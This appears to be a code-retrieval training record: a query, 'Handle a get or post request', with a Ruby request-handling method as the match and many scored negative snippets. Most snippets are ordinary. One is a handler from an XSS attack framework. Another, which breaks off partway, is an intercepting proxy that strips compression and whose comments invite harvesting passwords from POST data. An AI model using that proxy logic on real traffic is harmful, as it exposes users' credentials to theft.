"def destroy\n @exercise_illustration = case @exercise.blank?\n when true\n ExerciseIllustration.where(token: params[:exercise_id], id: params[:id])\n when false\n @exercise.exercise_illustrations.find(params[:id])\n end\n \n @exercise_illustration.destroy\n head :no_content\n end",
"def destroy\n @show_set_list = ShowSetList.find(params[:id])\n @show = @show_set_list.show\n @show_set_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(show_show_set_lists_url(@show)) }\n format.xml { head :ok }\n end\n end",
"def remove_attachment\n @user.assegnazione.purge if @user.assegnazione.attached?\n render :show\n end"
] |
[
"0.6954534",
"0.68472123",
"0.6779288",
"0.6446025",
"0.62399924",
"0.6151446",
"0.603143",
"0.603143",
"0.601403",
"0.5996378",
"0.58847344",
"0.5853025",
"0.5851104",
"0.5849674",
"0.58006966",
"0.58006966",
"0.58006966",
"0.58006966",
"0.5791528",
"0.5767778",
"0.574896",
"0.57488257",
"0.57457757",
"0.5741516",
"0.5741516",
"0.57128364",
"0.5695565",
"0.56928396",
"0.56908184",
"0.5688766",
"0.56817734",
"0.56601197",
"0.56555325",
"0.56495494",
"0.5644945",
"0.563281",
"0.5630153",
"0.562799",
"0.5622825",
"0.5614065",
"0.5604354",
"0.5596794",
"0.5596133",
"0.55875975",
"0.55727476",
"0.5563846",
"0.555986",
"0.5554276",
"0.55540544",
"0.55540544",
"0.55540544",
"0.55291253",
"0.552727",
"0.552727",
"0.5506093",
"0.54811126",
"0.5480654",
"0.5479001",
"0.5470733",
"0.5467968",
"0.5467567",
"0.5463981",
"0.54639673",
"0.54570186",
"0.54562765",
"0.545531",
"0.54494977",
"0.54458404",
"0.54373944",
"0.5433244",
"0.5431592",
"0.54197294",
"0.54188216",
"0.54147345",
"0.54147345",
"0.5412166",
"0.5412028",
"0.5406412",
"0.5404022",
"0.54015386",
"0.53990644",
"0.5398848",
"0.53954333",
"0.53919184",
"0.5382653",
"0.5381189",
"0.5379644",
"0.5368532",
"0.53674775",
"0.53610736",
"0.53564066",
"0.53550863",
"0.5354791",
"0.5348954",
"0.5346901",
"0.53423977",
"0.53332835",
"0.5329473",
"0.53275335",
"0.53152305"
] |
0.7420498
|
0
|
Handle a get or post request
|
def do_request(request, response)
body = make_request(request)
# Always 200. A simplification, but fine for user
# error messages.
response.status = 200
response['Content-Type'] = 'text/html'
response.body = body
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def GET; end",
"def view\n view_get if request.get?\n view_post if request.post?\n end",
"def POST; end",
"def raise_on_get\n raise \"get\" if request.get?\n render :text => \"request method: #{request.env['REQUEST_METHOD']}\"\n end",
"def do_request(request, response)\n if request.request_method != 'GET'\n response.status = 405\n LOG.error \"Unsupported request method #{request.request_method}\"\n return\n end\n\n do_get(request, response)\n end",
"def lambda_handler(event:, context:)\n method = event['httpMethod']\n if method == 'GET'\n handle_get\n elsif method == 'POST'\n if event['body'] and store_score(event['body'])\n handle_post\n else\n handle_bad_request\n end\n else\n handle_bad_method(method)\n end\nend",
"def post; end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def handle_request(method, path, opts={})\n Amfetamine.logger.warn \"Making request to #{path} with #{method} and #{opts.inspect}\"\n case method\n when :get\n response = rest_client.get(path, opts)\n when :post\n response = rest_client.post(path, opts)\n when :put\n response = rest_client.put(path, opts)\n when :delete\n response = rest_client.delete(path, opts)\n else\n raise UnknownRESTMethod, \"handle_request only responds to get, put, post and delete\"\n end\n parse_response(response)\n end",
"def post\r\n end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def handle_request request, usecase=Usecase, &block\n usecase = build_usecase( request, usecase, &block )\n usecase.response\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end",
"def process(request); end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def get; end",
"def handle(_request)\n fail NotImplementedError\n end",
"def post\n end",
"def get\n end",
"def handle_get(event)\n make_response(200, get_scores)\nend",
"def handle_request_intern(req)\n return handler_for_request(req).handle_request(req)\n end",
"def hit\n action = params[:req]\n name = params[:name] || params[:id]\n render api_not_supported action, name\n end",
"def process_http_request\n route_http_request\n end",
"def process_http_request\n # the http request details are available via the following instance variables:\n # @http_protocol\n # @http_request_method\n # @http_cookie\n # @http_if_none_match\n # @http_content_type\n # @http_path_info\n # @http_request_uri\n # @http_query_string\n # @http_post_content\n # @http_headers\n handle(@http_request_method, @http_post_content)\n\n send_ok()\n end",
"def get_or_post(path, opts={}, &block)\n get(path, opts, &block)\n post(path, opts, &block)\nend",
"def get_or_post(path, opts={}, &block)\n get(path, opts, &block)\n post(path, opts, &block)\nend",
"def get_or_post(path, opts={}, &block)\n get(path, opts, &block)\n post(path, opts, &block)\nend",
"def get_or_post(path, opts={}, &block)\n get(path, opts, &block)\n post(path, opts, &block)\nend",
"def get!\n request! :get\n end",
"def post!\n request! :post\n end",
"def request_method\n @request_method || :get\n end",
"def handle(req)\n begin\n if req.is_a? DaemonListTorrentsRequest\n handleListTorrentsRequest req\n elsif req.is_a? DaemonAddTorrentRequest\n handleAddTorrentsRequest req\n elsif req.is_a? DaemonDelTorrentRequest\n handleDelTorrentsRequest req\n elsif req.is_a? DaemonGetTorrentRequest\n handleGetTorrentRequest req\n elsif req.is_a? DaemonTerminateRequest\n handleTerminateRequest req\n elsif req.is_a? DaemonLoginRequest\n handleLoginRequest req\n elsif req.is_a? DaemonAuthSessionRequest\n handleAuthSessionRequest req\n elsif req.is_a? DaemonLogoutRequest\n handleLogoutRequest req\n elsif req.is_a? DaemonPauseTorrentRequest\n handlePauseRequest req\n elsif req.is_a? DaemonGetAlertsRequest\n handleGetAlertsRequest req\n elsif req.is_a? DaemonFsInfoRequest\n handleFsInfoRequest req\n elsif req.is_a? DaemonGraphInfoRequest\n handleGraphInfoRequest req\n elsif req.is_a? DaemonListFilesRequest\n handleListFilesRequest req\n elsif req.is_a? DaemonDownloadFileRequest\n handleDownloadFileRequest req\n elsif req.is_a? DaemonDelFileRequest\n handleDelFileRequest req\n elsif req.is_a? DaemonGetTvShowSummaryRequest\n handleGetTvShowSummaryResponse req\n elsif req.is_a? DaemonGetMagnetRequest\n handleGetMagnetRequest req\n elsif req.is_a? DaemonGetUsageRequest\n handleGetUsageRequest req\n elsif req.is_a? DaemonGetAlarmsRequest\n handleGetAlarmsRequest req\n else\n $logger.warn \"Got an unknown request type #{req.class}\"\n nil\n end\n rescue\n $logger.error \"Got an exception when handling a request: #{$!}\"\n $logger.error \"#{$!.backtrace.join(\" \")}\"\n end\n end",
"def get\n end",
"def dispatch(name, req, res); end",
"def get_action request_method\n case request_method\n when 'POST' then 'create'\n when 'GET' then 'read'\n when 'PUT' then 'update'\n when 'DELETE' then 'delete'\n end\n end",
"def handle_get\n make_response(200, obtain_scores)\nend",
"def raise_on_post\n raise \"post\" if request.post?\n render :text => \"request method: #{request.env['REQUEST_METHOD']}\"\n end",
"def receive(request); end",
"def do_request\n\t\t\tself.response = post_request(options)\n\t\tend",
"def handle_request(socket, request_type, request_args)\n raise 'not implemented'\n end",
"def get?\r\nHTTP_METHOD_LOOKUP[request_method] == :get\r\nend",
"def _get\n http_method(:get)\n end",
"def do_GET(request, _response)\n log_request(request)\n end",
"def do_POST(req, resp)\n # Split the path into piece\n path = req.path[1..-1].split('/')\n\n # We don't want to cache catflap login page so set response headers.\n # Chrome and FF respect the no-store, while IE respects no-cache.\n resp['Cache-Control'] = 'no-cache, no-store'\n resp['Pragma'] = 'no-cache' # Legacy\n resp['Expires'] = '-1' # Microsoft advises this for older IE browsers.\n\n response_class = CfRestService.const_get 'CfRestService'\n\n raise \"#{response_class} not a Class\" unless response_class.is_a?(Class)\n\n raise HTTPStatus::NotFound unless path[1]\n\n response_method = path[1].to_sym\n # Make sure the method exists in the class\n raise HTTPStatus::NotFound unless response_class\n .respond_to? response_method\n\n if :sync == response_method\n resp.body = response_class.send response_method, req, resp, @cf\n end\n\n if :knock == response_method\n resp.body = response_class.send response_method, req, resp, @cf\n end\n\n # Remaining path segments get passed in as arguments to the method\n if path.length > 2\n resp.body = response_class.send response_method, req, resp,\n @cf, path[1..-1]\n else\n resp.body = response_class.send response_method, req, resp, @cf\n end\n raise HTTPStatus::OK\n end",
"def perform(request, response); end",
"def lambda_handler(event:, context:)\n method = event['httpMethod']\n if method == 'POST'\n if event['body']\n handle_post(event['body'])\n else\n handle_bad_request\n end\n else\n handle_bad_method(method)\n end\nend",
"def handle(http_request, response)\n start = Time.now\n request = Merb::Request.new(http_request)\n Merb.logger.info(\"Params: #{request.params.inspect}\")\n Merb.logger.info(\"Cookies: #{request.cookies.inspect}\")\n # user friendly error messages\n if request.route_params.empty?\n raise ControllerExceptions::BadRequest, \"No routes match the request\"\n elsif request.controller_name.nil?\n raise ControllerExceptions::BadRequest, \"Route matched, but route did not specify a controller\" \n end\n Merb.logger.debug(\"Routed to: #{request.route_params.inspect}\")\n # set controller class and the action to call\n klass = request.controller_class\n dispatch_action(klass, request.action, request, response)\n rescue => exception\n Merb.logger.error(Merb.exception(exception))\n exception = controller_exception(exception)\n dispatch_exception(request, response, exception)\n end",
"def handle_requests(request)\r\n\tputs request\r\n\tdata = JSON.parse(request)\r\n\tif data['command'] == 'login'\r\n\t\treturn login(data)\r\n\telsif data['command'] == 'add_phone'\r\n\t\treturn add_phone(data)\r\n\telsif data['command'] == 'remove_phone'\r\n\t\treturn remove_phone(data)\t\t\t\r\n\telsif data['command'] == 'create_account'\r\n\t\treturn create_account(data)\r\n\telsif data['command'] == 'update_location'\r\n\t\treturn update_location(data)\r\n\telse\r\n\t\tputs \"Unknown command: #{data['command']}\"\r\n\t\treturn \"ERROR\"\r\n\tend\r\nend",
"def post?\r\nHTTP_METHOD_LOOKUP[request_method] == :post\r\nend",
"def request_method; end",
"def handle_GET(initial)\n\trequest_path = get_Path(initial)\n\trequest_path = request_path[1..-1] if request_path[0] == '/'\n\tif File.exist?(request_path)\n\t\tcreate_Found_Response(request_path)\n\telse\n\t\tcreate_Not_Found_Response(request_path)\n\tend\nend",
"def request_choice(choice)\n case choice\n when \"GET\" then get_choice\n when \"POST\" then post_choice\n when \"EXIT\" then @runs = false\n end\n end",
"def submit\n\t\tset_post_data\n get_response @url\n parse_response\n\tend",
"def http_method(request)\n raise NotImplementedError\n end",
"def http_method(request)\n raise NotImplementedError\n end",
"def request(*args); end",
"def http_send url, form_data, headers, &block\n if form_data['action'] == 'query'\n log.debug(\"GET: #{form_data.inspect}, #{@cookies.inspect}\")\n headers[:params] = form_data\n RestClient.get url, headers, &block\n else\n log.debug(\"POST: #{form_data.inspect}, #{@cookies.inspect}\")\n RestClient.post url, form_data, headers, &block\n end\n end",
"def xssf_process_request(req, res)\n\t\t\t\tbegin\n\t\t\t\t\treq.query[\"#{PARAM_ID}\"] ? id = (req.query[\"#{PARAM_ID}\"]).to_i : ((req.cookies.to_s =~ /#{PARAM_ID}=(\\d+)/) ? id = $1.to_i : id = nil)\n\t\t\t\t\t\t\n\t\t\t\t\tcase req.request_method.upcase\n\t\t\t\t\t\twhen 'GET';\tprocess_get(req, res, id)\t\t\t# Case of a GET request\n\t\t\t\t\t\twhen 'POST';\tprocess_post(req, res, id) \t\t\t# Case of a POST request\n\t\t\t\t\t\telse;\t\tprocess_unknown(req, res, id)\n\t\t\t\t\tend\n\t\t\t\trescue\n\t\t\t\t\tXSSF_404(res) \n\t\t\t\t\tprint_error(\"Error 0: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\tend\n\t\t\tend",
"def lambda_handler(event:, context:)\r\n method = event['httpMethod']\r\n\r\n case method\r\n when 'GET'\r\n get_scores\r\n when 'POST'\r\n manage_score(event['body'])\r\n end\r\nend",
"def method_missing method, *opt\n method.to_s =~ /^do_[A-Z]+$/ ? process_request(*opt) : super\n end",
"def post_request\n\t\turl = request.fullpath.gsub(\"/api\", \"\")\n\t\t@rr = Rr.where(\"url = ?\", url).first\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => rr.response}\n\t\t\tformat.xml { render :xml => @rr.response}\n\t\t\tformat.js { render :js => @rr.response}\n\t\tend\n\tend",
"def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end",
"def http_get(request, response)\n # We're not using straight-up $_GET, because we want everything to be\n # unit testable.\n get_vars = request.query_parameters\n\n # CSP headers\n @server.http_response.update_header('Content-Security-Policy', \"img-src 'self'; style-src 'self';\")\n\n sabre_action = get_vars['sabreAction']\n\n case sabre_action\n when 'asset'\n # Asset handling, such as images\n serve_asset(get_vars['assetName'])\n return false\n when 'plugins'\n response.status = 200\n response.update_header('Content-Type', 'text/html; charset=utf-8')\n\n response.body = generate_plugin_listing\n return false\n else # includes \"when 'info'\"\n begin\n @server.tree.node_for_path(request.path)\n rescue Exception::NotFound => e\n # We're simply stopping when the file isn't found to not interfere\n # with other plugins.\n return nil\n end\n\n response.status = 200\n response.update_header('Content-Type', 'text/html; charset=utf-8')\n\n response.body = generate_directory_index(request.path)\n\n return false\n end\n end",
"def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end",
"def handle\n RJR::Logger.info \"Dispatching '#{@method}' request with parameters (#{@method_args.join(',')}) on #{@rjr_node_type}-node(#{@rjr_node_id})\"\n retval = instance_exec(*@method_args, &@handler)\n RJR::Logger.info \"#{@method} request with parameters (#{@method_args.join(',')}) returning #{retval}\"\n return retval\n end",
"def post()\n return @http.request(@req)\n end",
"def handle\n respond\n nil\n end",
"def handler; end",
"def handler; end",
"def http_method\n :get\n end",
"def request(op, path, data = nil)\n retry_count = 1\n # Save current data for exceptions in handle_response\n @path = @url + path\n @method = op\n @data = data\n begin\n handle_response case op\n when :get\n @server.get_content @path\n when :put\n @server.put @path\n when :delete\n @server.delete @path\n when :post\n @server.post @path, @data, POST_ENCODINGS\n end\n rescue Errno::ECONNRESET\n if retry_count > 0\n retry_count -= 1\n retry\n end\n raise\n end\n end",
"def dispatch_request( request )\n\t\tif request.is_disconnect?\n\t\t\tself.log.debug \"disconnect!\"\n\t\t\tself.handle_disconnect( request )\n\t\t\treturn nil\n\n\t\telsif request.upload_started?\n\t\t\tself.log.debug \"async upload start!\"\n\t\t\treturn self.handle_async_upload_start( request )\n\n\t\telse\n\t\t\tself.log.debug \"%s request.\" % [ request.headers['METHOD'] ]\n\t\t\tcase request\n\t\t\twhen Mongrel2::WebSocket::ClientHandshake\n\t\t\t\treturn self.handle_websocket_handshake( request )\n\t\t\twhen Mongrel2::WebSocket::Request\n\t\t\t\treturn self.handle_websocket( request )\n\t\t\twhen Mongrel2::HTTPRequest\n\t\t\t\treturn self.handle( request )\n\t\t\twhen Mongrel2::JSONRequest\n\t\t\t\treturn self.handle_json( request )\n\t\t\twhen Mongrel2::XMLRequest\n\t\t\t\treturn self.handle_xml( request )\n\t\t\telse\n\t\t\t\tself.log.error \"Unhandled request type %s (%p)\" %\n\t\t\t\t\t[ request.headers['METHOD'], request.class ]\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\tend",
"def request_get?\n request.get?\n end",
"def post(request)\n # sure thing!\n json_response(200, { message: \"This dummy POST endpoint didn't do anything.\" })\n end",
"def any(path, &block)\n route 'GET', path, &block\n route 'POST', path, &block\n end",
"def handle_request(session)\n req = Array.new\n while (line = session.gets) != \"\\r\\n\"\n req << line\n end\n initial = req[0].split(' ')\n puts req[0]\n if initial[0] == 'GET'\n get_request(session, initial[1])\n else\n puts initial[0] + \" request not supported\"\n end\nend",
"def handle_response(response); end",
"def handle_response(response); end",
"def handle_request( * ) # :nodoc:\n\t\tself.log.debug \"[:restresources] handling request for REST resource.\"\n\t\tsuper\n\tend",
"def handle\n model.before_action_hook(type, request)\n send(\"handle_#{type}\")\n end",
"def send_request(req); end",
"def match(req)\n end",
"def non_get_methods\n [:post, :put, :delete]\n end",
"def request(req)\n req = Request.new(req) if req.kind_of?(Hash)\n action = if req.kind_of?(Request) then req.action else '(string)' end\n debug(\"#{action}: #{req.inspect}\")\n begin\n res = get_response(req)\n info(\"#{action}: #{res.inspect}\")\n rescue Error::Casual => ex\n info(\"#{action}: (ignored) #{ex.message}\")\n raise if verbose\n res = ex.response\n rescue Error::Fatal => ex\n error(\"#{action}: #{ex.message}\")\n raise\n rescue Errno::ECONNREFUSED => ex\n error(\"#{ex.message} / #{self['host'].inspect}:#{self['port'].inspect}\")\n raise\n end\n return res\n end",
"def service(req, res)\n method_name = \"do_\" + req.request_method.gsub(/-/, \"_\")\n if respond_to?(method_name)\n __send__(method_name, req, res)\n else\n raise HTTPStatus::MethodNotAllowed,\n \"unsupported method `#{req.request_method}'.\"\n end\n end",
"def handleRequest?(path)\n\t\t\ttrue\n\t\tend",
"def handle_get_request(client_request)\n parse_uri(client_request)\n path_name(uri)\n end",
"def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n req = HTTParty::Request.new http_method, path, req_options\n\n begin\n response = req.perform\n rescue => ex\n raise RequestError.new req, ex\n end\n \n if defined?(Rails.logger)\n Rails.logger.info req.to_curl\n else\n puts req.to_curl\n end\n \n if !response.parsed_response.is_a?(Hash)\n raise ResponseParseError.new req, response\n elsif response[\"errors\"]\n raise ResponseError.new req, response[\"errors\"], response\n elsif response[\"message\"] && response[\"message\"] == \"Invalid Token or Expired\"\n raise InvalidAuthToken.new\n else\n return CityGrid::API::Response.new response\n end\n \n rescue => ex\n raise ex if CityGrid.raise_errors?\n end",
"def invoke_action(name)\n check_authenticity_token unless req.request_method == 'GET'\n self.send(name)\n self.render(name.to_s) unless already_built_response?\n end"
] |
[
"0.71467054",
"0.692409",
"0.6614243",
"0.6585935",
"0.6565535",
"0.6539034",
"0.65384936",
"0.6530305",
"0.6446488",
"0.64456356",
"0.6399955",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6327624",
"0.6296149",
"0.6250157",
"0.6249357",
"0.6227141",
"0.62211645",
"0.6218167",
"0.6213341",
"0.62079316",
"0.6195048",
"0.6173991",
"0.61562777",
"0.61554754",
"0.6108909",
"0.6102334",
"0.6088554",
"0.6088554",
"0.6088554",
"0.6088554",
"0.60545504",
"0.604198",
"0.6016382",
"0.59968597",
"0.597126",
"0.59662896",
"0.59626126",
"0.59599066",
"0.5950497",
"0.5929525",
"0.5929115",
"0.59151375",
"0.5907142",
"0.59058785",
"0.5902667",
"0.58799756",
"0.5872328",
"0.5869485",
"0.5856453",
"0.58554244",
"0.5841562",
"0.5840706",
"0.582688",
"0.5815145",
"0.5805481",
"0.5797548",
"0.5797548",
"0.5795027",
"0.57820386",
"0.5778287",
"0.5768806",
"0.57658863",
"0.57657075",
"0.576435",
"0.57537585",
"0.57452023",
"0.5741034",
"0.57344246",
"0.57318485",
"0.57270277",
"0.57270277",
"0.5691053",
"0.5690914",
"0.56875074",
"0.5675631",
"0.5670837",
"0.5669285",
"0.5665109",
"0.5664561",
"0.5664561",
"0.56621844",
"0.5656123",
"0.56538177",
"0.56515485",
"0.5648135",
"0.56473786",
"0.5643323",
"0.56256455",
"0.56247866",
"0.5608798",
"0.55997616"
] |
0.0
|
-1
|
Handle a request to the server. Called by get and post.
|
def make_request(request)
puts "\n\n"
puts "==> Request, action='#{request.path}', params = #{request.query}..."
action = request.path.to_s.split("/")[-1]
if action && @app.valid?(action) then
response = @app.send(action.to_sym, request.query)
return response
end
return "Error: Unrecognised action: #{action}"
rescue Exception => e
$stderr.puts "*** [E]: #{e}\n#{e.backtrace.join("\n")}"
return "Error: #{e}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def handle_request(socket, request_type, request_args)\n raise 'not implemented'\n end",
"def process_http_request\n # the http request details are available via the following instance variables:\n # @http_protocol\n # @http_request_method\n # @http_cookie\n # @http_if_none_match\n # @http_content_type\n # @http_path_info\n # @http_request_uri\n # @http_query_string\n # @http_post_content\n # @http_headers\n handle(@http_request_method, @http_post_content)\n\n send_ok()\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def handle_request(client, lines, requests); end",
"def do_request\n\t\t\tself.response = post_request(options)\n\t\tend",
"def handle_request request, usecase=Usecase, &block\n usecase = build_usecase( request, usecase, &block )\n usecase.response\n end",
"def do_request(request, response)\n if request.request_method != 'GET'\n response.status = 405\n LOG.error \"Unsupported request method #{request.request_method}\"\n return\n end\n\n do_get(request, response)\n end",
"def process_http_request\n route_http_request\n end",
"def handle(request)\n # Parse first 4 characters for protocol function\n cmd = request[0..3].strip.upcase\n # Remaining data is request arguments\n args = request[4..-1].strip\n\n case cmd\n when 'USER' # Incoming username information for login\n return \"You are logged in as #{args}.\"\n when 'INFO' # Server identifcation\n return \"Choder React Server 0.1a\"\n when 'WHO' # List all users online\n puts clients\n return clients.to_s\n when 'FIND' # Check if user is online\n return \"Not yet implemented.\"\n when 'MSG' # Send message to user\n return \"Not yet implemented.\"\n when 'ECHO' # Send message to server\n puts args\n return \"Server echo'd: #{args}\"\n when 'PORT' # Establish a dynamic range data port\n pieces = args.split(',')\n address = pieces[0..3].join('.')\n port = Integer(pieces[4]) * 256 + Integer(pieces[5])\n @data_socket = TCPSocket.new(address, port)\n return \"Data connection established on port #{port}.\"\n when 'LIST' # List available files on server\n connection.respond \"Available files on this server: \"\n file_list = Dir.entries(Dir.pwd).join(CRLF)\n @data_socket.write(file_list)\n @data_socket.close\n return \"End file list.\"\n when 'FILE' # Request file from server\n if File.file?(Dir.pwd + args) # Check if the target exists and is a file\n file = File.open(File.join(Dir.pwd, args), 'r')\n connection.respond \"Opening data stream, sending #{file.size} bytes.\"\n bytes = IO.copy_stream(file, @data_socket)\n @data_socket.close\n return \"Closing data stream, sent #{bytes} bytes.\"\n else\n return \"Unable to locate requested file: #{args}\"\n end\n else\n return \"Unrecognized command: #{cmd}.\"\n end # case\n end",
"def handle_request_intern(req)\n return handler_for_request(req).handle_request(req)\n end",
"def handle(req)\n begin\n if req.is_a? DaemonListTorrentsRequest\n handleListTorrentsRequest req\n elsif req.is_a? DaemonAddTorrentRequest\n handleAddTorrentsRequest req\n elsif req.is_a? DaemonDelTorrentRequest\n handleDelTorrentsRequest req\n elsif req.is_a? DaemonGetTorrentRequest\n handleGetTorrentRequest req\n elsif req.is_a? DaemonTerminateRequest\n handleTerminateRequest req\n elsif req.is_a? DaemonLoginRequest\n handleLoginRequest req\n elsif req.is_a? DaemonAuthSessionRequest\n handleAuthSessionRequest req\n elsif req.is_a? DaemonLogoutRequest\n handleLogoutRequest req\n elsif req.is_a? DaemonPauseTorrentRequest\n handlePauseRequest req\n elsif req.is_a? DaemonGetAlertsRequest\n handleGetAlertsRequest req\n elsif req.is_a? DaemonFsInfoRequest\n handleFsInfoRequest req\n elsif req.is_a? DaemonGraphInfoRequest\n handleGraphInfoRequest req\n elsif req.is_a? DaemonListFilesRequest\n handleListFilesRequest req\n elsif req.is_a? DaemonDownloadFileRequest\n handleDownloadFileRequest req\n elsif req.is_a? DaemonDelFileRequest\n handleDelFileRequest req\n elsif req.is_a? DaemonGetTvShowSummaryRequest\n handleGetTvShowSummaryResponse req\n elsif req.is_a? DaemonGetMagnetRequest\n handleGetMagnetRequest req\n elsif req.is_a? DaemonGetUsageRequest\n handleGetUsageRequest req\n elsif req.is_a? DaemonGetAlarmsRequest\n handleGetAlarmsRequest req\n else\n $logger.warn \"Got an unknown request type #{req.class}\"\n nil\n end\n rescue\n $logger.error \"Got an exception when handling a request: #{$!}\"\n $logger.error \"#{$!.backtrace.join(\" \")}\"\n end\n end",
"def handle(http_request, response)\n start = Time.now\n request = Merb::Request.new(http_request)\n Merb.logger.info(\"Params: #{request.params.inspect}\")\n Merb.logger.info(\"Cookies: #{request.cookies.inspect}\")\n # user friendly error messages\n if request.route_params.empty?\n raise ControllerExceptions::BadRequest, \"No routes match the request\"\n elsif request.controller_name.nil?\n raise ControllerExceptions::BadRequest, \"Route matched, but route did not specify a controller\" \n end\n Merb.logger.debug(\"Routed to: #{request.route_params.inspect}\")\n # set controller class and the action to call\n klass = request.controller_class\n dispatch_action(klass, request.action, request, response)\n rescue => exception\n Merb.logger.error(Merb.exception(exception))\n exception = controller_exception(exception)\n dispatch_exception(request, response, exception)\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def handle_request to_client, request_number\n\t\twrite_debug(request_number, \"Handling new request\", MESSAGE)\n\t\trequest_line = to_client.readline.chomp\n\n\t\tverb = request_line[/^\\w+/]\n\t\turl = request_line[/^\\w+\\s+(\\S+)/, 1]\n\t\tversion = request_line[/HTTP\\/(1\\.\\d)\\s*$/, 1]\n\t\turi = URI::parse url\n\t\thost = ''\n\t\tport = 80\n\t\t\n\t\trequest_lines = []\n\t\trequest_lines << request_line\n\n\t\tloop do \n\t\t\tline = to_client.readline.chomp\n\n\t\t\tif line =~ /^Host: (.*)$/\n\t\t\t\thost = $1\n\t\t\t\tif host =~ /([^:]*):([0-9]*)$/\n\t\t\t\t\thost = $1\n\t\t\t\t\tport = $2.to_i\n\t\t\t\telse\n\t\t\t\t\tport = 80\n\t\t\t\tend\n\t\t\tend\n\t\t\trequest_lines << line\n\n\t\t\tif line == \"\"\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\n\t\twrite_debug(request_number, \"Make connection to \" + host + \" on port \" + port.to_s, VERBOSE)\n\t\t\n\t\t# Show what got requested\n\t\twrite_debug(request_number, verb + \" \" + url, VERBOSE)\n\t\t# This has a little more info if you want it\n\t\t# write_debug(request_number, \"#{verb} #{uri.path}?#{uri.query} HTTP/#{version}\\r\\n\")\n\n\t\tto_server = TCPSocket.new(host, port)\n\t\t\n\t\tcontent_len = 0\n\n\t\trequest_lines.each do |line|\n\t\t\tif line =~ /^Content-Length:\\s+(\\d+)\\s*$/\n\t\t\t\tcontent_len = $1.to_i\n\t\t\tend\n\n\t\t\tif line =~ /Connection: keep-alive/\n\t\t\t\tline = \"Connection: close\"\n\t\t\tend\n\n\t\t\tif line =~ /^Accept-Encoding:.*/\n\t\t\t\t# Strip any compression\n\t\t\t\tnext\n\t\t\telse\n\t\t\t\tto_server.write(line + \"\\n\")\n\t\t\t\tif line == \"\"\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t# If there is post data then there will be one more line to read\n\t\tif content_len > 0\n\t\t\twrite_debug(request_number, \"Its a POST, read \" + content_len.to_s + \" bytes of data and write it out\", DEBUG)\n\t\t\t# Having to use read not readline here as there is no new line\n\t\t\t# on the end of this so just read the number of bytes I'm told to \n\t\t\t# and no more\n\t\t\tline = to_client.read(content_len)\n\t\t\t# Here you have full access to everything that is being posted so feel free\n\t\t\t# to parse through fields, pull out passwords and other juicy stuff.\n\t\t\t# You may have captured most of this with the key logger but this is the \n\t\t\t# real data that is being sent so may as well grab it here as well\n\t\t\t#\n\t\t\t# No new line on the end of this\n\t\t\tto_server.write(line)\n\t\tend\n\n\t\t# Optimisation, check the file extension and if it is image,\n\t\t# css, js or other static stuff then do a quick loop, same\n\t\t# for HEAD or CONNECT, otherwise 